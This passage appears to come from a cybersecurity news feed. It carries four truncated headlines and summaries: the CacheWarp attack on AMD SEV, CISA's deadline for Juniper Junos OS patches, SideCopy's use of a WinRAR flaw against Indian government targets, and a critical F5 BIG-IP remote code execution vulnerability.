A group of academics has disclosed a new "software fault attack" on AMD's Secure Encrypted Virtualization (SEV) technology that could be potentially exploited by threat actors to infiltrate encrypted virtual machines (VMs) and even perform privilege escalation. The attack has been codenamed CacheWarp (CVE-2023-20592) by researchers from the CISPA Helmholtz Center for Information Security and the

CISA Sets a Deadline - Patch Juniper Junos OS Flaws Before November 17

By: Newsroom
The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has given a November 17, 2023, deadline for federal agencies and organizations to apply mitigations to secure against a number of security flaws in Juniper Junos OS that came to light in August. The agency on Monday added five vulnerabilities to the Known Exploited Vulnerabilities (KEV) catalog, based on evidence of active

SideCopy Exploiting WinRAR Flaw in Attacks Targeting Indian Government Entities

By: Newsroom
The Pakistan-linked threat actor known as SideCopy has been observed leveraging the recent WinRAR security vulnerability in its attacks targeting Indian government entities to deliver various remote access trojans such as AllaKore RAT, Ares RAT, and DRat. Enterprise security firm SEQRITE described the campaign as multi-platform, with the attacks also designed to infiltrate Linux systems with a

F5 Issues Warning: BIG-IP Vulnerability Allows Remote Code Execution

By: Newsroom
F5 has alerted customers of a critical security vulnerability impacting BIG-IP that could result in unauthenticated remote code execution. The issue, rooted in the configuration utility component, has been assigned the CVE identifier CVE-2023-46747, and carries a CVSS score of 9.8 out of a maximum of 10. "This vulnerability may allow an unauthenticated attacker with network access to the BIG-IP
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